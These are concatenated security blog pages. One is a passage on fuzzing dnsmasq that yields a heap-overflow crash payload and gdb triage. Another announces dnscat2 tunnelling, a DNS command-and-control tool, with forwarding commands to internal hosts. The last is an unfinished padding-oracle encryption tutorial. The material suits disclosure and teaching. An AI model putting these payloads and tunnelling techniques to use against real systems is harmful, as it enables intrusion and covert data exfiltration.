    00000120  cc 1c 03 10 c0 01 00 00  02 67 02 e8 1f eb ed 07  |.........g......|
    00000130  00 95 02 02 02 05 e7 02  02 10 02 02 02 02 02 00  |................|
    00000140  00 80 03 02 02 02 f0 7f  c7 00 80 1c 03 10 80 e6  |................|
    00000150  00 95 02 02 02 05 e7 67  02 02 02 02 02 02 02 00  |.......g........|
    00000160  00 80                                             |..|
    

    Or, if we run afl-tmin on it to minimize:

    00000000  30 30 00 30 00 01 30 30  30 30 30 30 30 30 30 30  |00.0..0000000000|
    00000010  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000020  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 c0 c0 30  |0000000000000..0|
    00000040  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000050  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000060  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000070  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000080  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000090  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000a0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000b0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000c0  05 30 30 30 30 30 c0 c0
    

    (note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case)

    Whereas here are all four crashing messages from the valid request starting point:

    crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
    00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 08 00 00 01 00 00  e1 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
    00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    
    crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 01 00 00 01 01 00  00 00 10 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 00 00 00 00 00 06 67  |gle.com........g|
    00000020  6f 6f 67 6c 65 03 63 6f  6d c0 00 01 00 01        |oogle.com.....|
    0000002e
    

    The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work.

    Also note that near the end of every message, we see our old friend again: "\xc0\x0c".

    We can run afl-tmin on the first one to get the tightest message we can:

    00000000  30 30 30 30 30 30 30 30  30 30 30 30 06 30 6f 30  |000000000000.0o0|
    00000010  30 30 30 03 30 30 30 c0  0c                       |000.000..|
    

    As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic).

    The vulnerability

    Now that we have a decent PoC, let's check it out in a debugger:

    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
    Reading symbols from ./dnsmasq...done.
    Unable to determine compiler version.
    Skipping loading of libstdc++ pretty-printers for now.
    (gdb) run
    [...]
    Program received signal SIGSEGV, Segmentation fault.
    __strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
    135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.
    

    It crashed in strcpy. Fun! Let's see the line it crashed on:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Oh, a null-pointer write. Seems pretty lame.

    Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results.

    If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser.

    So, it's obvious that a self-referential name causes the problem. But why?

    I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:

         if (label_type == 0xc0) /* pointer */
            {
              if (!CHECK_LEN(header, p, plen, 1))
                return 0;
    
              /* get offset */
              l = (l&0x3f) << 8;
              l |= *p++;
    
              if (!p1) /* first jump, save location to go back to */
                p1 = p;
    
              hops++; /* break malicious infinite loops */
              if (hops > 255)
              {
                printf("Too many hops!\n");
                printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
                return 0;
              }
    
              p = l + (unsigned char *)header;
            }
    

    If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):

      namelen += l;
      if (namelen+1 >= MAXDNAME)
      {
        printf("namelen is too long!\n"); /* <-- This is what triggers. */
        printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
        return 0;
      }
      if (!CHECK_LEN(header, p, plen, l))
      {
        printf("CHECK_LEN failed!\n");
        return 0;
      }
      for(j=0; j<l; j++, p++)
      {
        unsigned char c = *p;
        if (c != 0 && c != '.')
          *cp++ = c;
        else
          return 0;
      }
      *cp++ = '.';
    

    This code runs for each segment that starts with a value less than 64 ("google" and "com", for example).

    At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow.

    Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing.

    Then it copies a period into the buffer and doesn't increment namelen.

    Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops?

    It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c":

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    Segmentation fault
    

    However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ).

    I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer.

    Exploitability

    I mentioned earlier that it's a null-pointer deref:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    (gdb) run
    [...]
    (gdb) x/i $rip
    => 0x449998 <answer_request+1064>:      mov    DWORD PTR [rdx+0x20],0x0
    (gdb) print/x $rdx
    $1 = 0x4141412e41414141
    

    Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

    As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

    extern struct daemon {
      /* datastuctures representing the command-line and.
         config file arguments. All set (including defaults)
         in option.c */
    
      unsigned int options, options2;
      struct resolvc default_resolv, *resolv_files;
      time_t last_resolv;
      char *servers_file;
      struct mx_srv_record *mxnames;
      struct naptr *naptr;
      struct txt_record *txt, *rr;
      struct ptr_record *ptr;
      struct host_record *host_records, *host_records_tail;
      struct cname *cnames;
      struct auth_zone *auth_zones;
      struct interface_name *int_names;
      char *mxtarget;
      int addr4_netmask;
      int addr6_netmask;
      char *lease_file;.
      char *username, *groupname, *scriptuser;
      char *luascript;
      char *authserver, *hostmaster;
      struct iname *authinterface;
      struct name_list *secondary_forward_server;
      int group_set, osport;
      char *domain_suffix;
      struct cond_domain *cond_domain, *synth_domains;
      char *runfile;.
      char *lease_change_command;
      struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
      struct bogus_addr *bogus_addr, *ignore_addr;
      struct server *servers;
      struct ipsets *ipsets;
      int log_fac; /* log facility */
      char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
      int cachesize, ftabsize;
      int port, query_port, min_port;
      unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
      struct hostsfile *addn_hosts;
      struct dhcp_context *dhcp, *dhcp6;
      struct ra_interface *ra_interfaces;
      struct dhcp_config *dhcp_conf;
      struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
      struct dhcp_vendor *dhcp_vendors;
      struct dhcp_mac *dhcp_macs;
      struct dhcp_boot *boot_config;
      struct pxe_service *pxe_services;
      struct tag_if *tag_if;.
      struct addr_list *override_relays;
      struct dhcp_relay *relay4, *relay6;
      int override;
      int enable_pxe;
      int doing_ra, doing_dhcp6;
      struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
      struct dhcp_netid_list *force_broadcast, *bootp_dynamic;
      struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
      int dhcp_max, tftp_max;
      int dhcp_server_port, dhcp_client_port;
      int start_tftp_port, end_tftp_port;.
      unsigned int min_leasetime;
      struct doctor *doctors;
      unsigned short edns_pktsz;
      char *tftp_prefix;.
      struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
      unsigned int duid_enterprise, duid_config_len;
      unsigned char *duid_config;
      char *dbus_name;
      unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
    #ifdef OPTION6_PREFIX_CLASS.
      struct prefix_class *prefix_classes;
    #endif
    #ifdef HAVE_DNSSEC
      struct ds_config *ds;
      char *timestamp_file;
    #endif
    
      /* globally used stuff for DNS */
      char *packet; /* packet buffer */
      int packet_buff_sz; /* size of above */
      char *namebuff; /* MAXDNAME size buffer */
    #ifdef HAVE_DNSSEC
      char *keyname; /* MAXDNAME size buffer */
      char *workspacename; /* ditto */
    #endif
      unsigned int local_answer, queries_forwarded, auth_answer;
      struct frec *frec_list;
      struct serverfd *sfds;
      struct irec *interfaces;
      struct listener *listeners;
      struct server *last_server;
      time_t forwardtime;
      int forwardcount;
      struct server *srv_save; /* Used for resend on DoD */
      size_t packet_len;       /*      "        "        */
      struct randfd *rfd_save; /*      "        "        */
      pid_t tcp_pids[MAX_PROCS];
      struct randfd randomsocks[RANDOM_SOCKS];
      int v6pktinfo;.
      struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */
      int log_id, log_display_id; /* ids of transactions for logging */
      union mysockaddr *log_source_addr;
    
      /* DHCP state */
      int dhcpfd, helperfd, pxefd;.
    #ifdef HAVE_INOTIFY
      int inotifyfd;
    #endif
    #if defined(HAVE_LINUX_NETWORK)
      int netlinkfd;
    #elif defined(HAVE_BSD_NETWORK)
      int dhcp_raw_fd, dhcp_icmp_fd, routefd;
    #endif
      struct iovec dhcp_packet;
      char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
      struct ping_result *ping_results;
      FILE *lease_stream;
      struct dhcp_bridge *bridges;
    #ifdef HAVE_DHCP6
      int duid_len;
      unsigned char *duid;
      struct iovec outpacket;
      int dhcp6fd, icmp6fd;
    #endif
      /* DBus stuff */
      /* void * here to avoid depending on dbus headers outside dbus.c */
      void *dbus;
    #ifdef HAVE_DBUS
      struct watch *watches;
    #endif
    
      /* TFTP stuff */
      struct tftp_transfer *tftp_trans, *tftp_done_trans;
    
      /* utility string buffer, hold max sized IP address as string */
      char *addrbuff;
      char *addrbuff2; /* only allocated when OPT_EXTRALOG */
    } *daemon;
    

    I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

    The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

    Patch

    The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

    But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

    Exploit so-far

    I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

    You can download it here.

    ...why it never got famous

    I held this back throughout the blog because it's the sad part. :)

    It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

    It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

    Conclusion

    So to summarize everything...

    • I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
    • I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
    • I triaged the vulnerability, and started writing an exploit.
    • Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

    And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

    (I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

    13 thoughts on “How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    1. Reply

      Anon

      So what you're saying is you spent a ton of time and effort making sure that a bug never got released into the wild by doing prerelease testing and patch production? What's disappointing about that? You're a hero - thank you!

      1. Reply

        Ron Bowes Post author

        Yeah, I think it helped the world, and I was literally doing my job. :)

        But there's always that "find and exploit a cool 0-day" itch!

    2. Reply

      Spamfarm

      This brings up a very good point re: incentives!

      If you waited, thousands of ops teams would have to deploy an emergency patch ... but you'd have a moment in the spotlight.

      Thank you for being an ethical person. I only wish this comment could garner you the kind of industry awareness a l33t 0-day would.

      1. Reply

        Ron Bowes Post author

        Yeah, that's a great point! If I'd waited 6 months or a year, then either somebody else would have found/burnt the 0-day, I would have had a way to access a TON of networks, or I would have been able to create a media shitstorm.

        (As much as it could be fun to create a media shitstorm, it's also stressful, so maybe this is better :) )

    3. Reply

      Anonymous

      Why the fuck am I not allowed to zoom on your shitty website on my iPad. Too small. Not going to read it.

      1. Reply

        Ron Bowes Post author

        Hmm, that sucks! I guess the theme's no good at ipads :(

    4. Reply

      Anonymous

      If you re-run afl-fuzz on the fixed version, do you get any crashes at all?

      1. Reply

        Ron Bowes Post author

        No, once the two vulns were fixed (in 0x40 and in normal text), no more crashes.

    5. Reply

      Anonymous

      Overwriting "luascript" seems like the obvious target for an exploit, if you can point it to the content of your packet.

      1. Reply

        Ron Bowes Post author

        The problem with 'luascript' is that lua is off by default, I think

    6. Reply

      geeknik

      Following along to your blog post, I cloned the official dnsmasq git repo and added in your #ifdef FUZZ portions. Compiled with no problems, but when I try to run dnsmasq with --client-fuzz or --server-fuzz I get this:

      dnsmasq: bad command line options: unsupported option (check that dnsmasq was compiled with DHCP/TFTP/DNSSEC/DBus support)

      Thoughts?

      1. Reply

        Ron Bowes Post author

        @geeknik - hmm, not sure! Maybe it has different defaults on different OSes? That seems unlikely though...

    7. Reply

      en

      hi,

      i "just found it". and must say, this is one of the best post i've ever read about it.

      really appreciate your job. keep going;)

      take care

      o/

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### dnscat2 0.05: with tunnels! » SkullSecurity


    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday!

    My Christmas present to you, the community, is dnscat2 version 0.05!

    Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

    The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

    Info and downloads.

    High-level

    There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans.

    On a high level, this works exactly like ssh with the -L argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server.

    That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel.

    Let's look at how to use it!

    Usage

    Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required:

    (server)
    
    # ruby ./dnscat2.rb
    New window created: 0
    
    [...]
    
    dnscat2>
    
    (client)
    
    $ ./dnscat --dns="server=localhost,port=53"
    Creating DNS driver:
     domain = (null)
     host   = 0.0.0.0
     port   = 53
     type   = TXT,CNAME,MX
     server = localhost
    
    Encrypted session established! For added security, please verify the server also displays this string:
    
    Encode Surfs Taking Spiced Finer Sonny
    
    Session established!
    

    We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ).

    Once you have a session set up, you want to tell the session to listen with the listen command:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Encode Surfs Taking Spiced Finer Sonny
    
    dnscat2> session -i 1
    [...]
    dnscat2> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    

    Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes.

    The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a TUNNEL_CONNECT message (which will be discussed later).

    Now we can connect to the server on port 8080 and request a page:

    $ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
    localhost [127.0.0.1] 8080 (http-alt) open
    HTTP/1.0 200 OK
    Date: Thu, 24 Dec 2015 16:28:27 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    [...]
    

    On the server, we see the request going out:

    command (ankh) 1> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    command (ankh) 1>
    Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
    [Tunnel 0] connection successful!
    [Tunnel 0] closed by the other side: Server closed the connection!
    Connection from 123.151.42.61:48904; forwarding to www.google.com:80...
    

    And you also see very similar messages on the client:

    Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
    [[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
    [[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
    [[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!
    

    That's pretty much all you need to know! One more quick example:

    To forward a ssh connection to an internal machine:

    command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22
    

    Followed by ssh -p2222 root@localhost. That'll connect to 192.168.1.100 on port 22, via the dnscat client!

    Stopping a session

    I frequently used auto-commands while testing this feature:

    ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
    

    The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore:

    Listening on 0.0.0.0:4444, sending connections to localhost:5555
    Sorry, that address:port is already in use: Address already in use - bind(2)
    
    If you kill a session from the root window with the 'kill'
    command, it will free the socket. You can get a list of which
    sockets are being used with the 'tunnels' command!
    
    I realize this is super awkward.. don't worry, it'll get
    better next version! Stay tuned!
    

    If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there):

    dnscat2> kill 1
    Session 1 has been sent the kill signal!
    Session 1 killed: No reason given
    

    If you don't know which session it is, you have to go into each session and run tunnels to figure out which one is holding the port open:

    dnscat2> session -i 1
    [...]
    command (ankh) 1> tunnels
    Tunnel listening on 0.0.0.0:2222
    Tunnel listening on 0.0.0.0:1234
    Tunnel listening on 0.0.0.0:4444
    

    Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the kill command.

    I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas!

    Implementation details

    As usual, the implementation is documented in detail in the protocol.md and command_protocol.md docs.

    Basically, I extended the "command protocol", which is the protocol that's used for commands like upload, download, ping, shell, exec, etc.

    Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request.

    Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of request_id - responses now have the left-most bit set of the request_id.

    At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a TUNNEL_CONNECT request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a TUNNEL_CONNECT response, which simply contains the tunnel_id.

    From then on, data can be sent in either direction using TUNNEL_DATA requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a TUNNEL_DATA message. Which is fine, because we have guaranteed delivery from lower level protocols.

    When either side decides to terminate the connection, it sends a TUNNEL_CLOSE request, which contains a tunnel_id and a reason string.

    One final implementation detail: tunnel_ids are local to a session.

    Future plans

    As I said at the start, I've implemented ssh -L. My next plans are to implement ssh -D (easysauce!) and ssh -R (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :)

    The tricky part about ssh -R is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting!

    Conclusion

    And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can support me on Patreon! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :)

    And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an issue on Github!

    3 thoughts on “dnscat2 0.05: with tunnels!

    1. Reply

      Cobalt

      Hey Ron, I noticed on your wiki password page that there are some password lists that say reserved. Are they reserved because they're too large to host?

    2. Reply

      cccsober

      could u please tell me
      how to download file from client to server?
      3q very much

    3. Reply

      Cornelius

      I have been able to connect the server and client, however, when I use the help command i get this list, Echo, Help , Kill, Quit, Start, Stop, Tunnels, Unset, Window, Windows.

      There is no session in this list, neither is it working when I tried to use it. How do I control the client machine or at the least do more that just being connected to the client machine.

      I need some directions on this please.

      Thanks.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Going the other way with padding oracles: Encrypting arbitrary data! » SkullSecurity


    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

    When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

    Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

    Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

    The math

    If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

    We'll define our variables more or less the same as last time:

      Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
                the range of 1..N). We select this.
      Let C   = the corresponding ciphertext, and Cn = the ciphertext
                of block n (the first block being 1) - our goal is to calculate this
      Let N   = the number of blocks (P and C have the same number of blocks by
                definition). PN is the last plaintext block, and CN is
                the last ciphertext block.
      Let IV  = the initialization vector — a random string — frequently
                (incorrectly) set to all zeroes. We'll mostly call this C0 in this
                post for simplicity (see below for an explanation).
      Let E() = a single-block encryption operation (any block encryption
                algorithm, such as AES or DES, it doesn't matter which), with some
                unique and unknown (to the attacker) secret key (that we don't
                notate here).
      Let D() = the corresponding decryption operation.
    

    And the math for encryption:

      C1 = E(P1 ⊕ IV)
      Cn = E(Pn ⊕ Cn-1) — for all n > 1
    

    And, of course, decryption:

      P1 = D(C1) ⊕ IV
      Pn = D(Cn) ⊕ Cn-1 - for all n > 1
    

    Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

    The attack

    Like decryption, we divide the string into blocks, and attack one block at a time.

    We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

    For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

    Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

    Overview

    After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

    To encrypt arbitrary text with a padding oracle...

    • Select a string, P, that you want to generate ciphertext, C, for
    • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
    • Generate a block of random data (CN - ultimately, the final block of ciphertext)
    • For each block of plaintext, starting with the last one...
      • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
      • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
      • After determining the full block, XOR it with the plaintext block Pn to create Cn
      • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

    To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

    A quick note about the IV

    In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

    If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

    Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

    Generate a fake block

    The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

    So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

    Let's have some fun:

    • Algorithm = "AES-256-CBC"
    • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
    • IV = 78228d4760a3675aa08d47694f88f639
    • Ciphertext = "IS THIS SECRET??"

    The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

      2.3.0 :001 > require 'openssl'
       => true
    
      2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
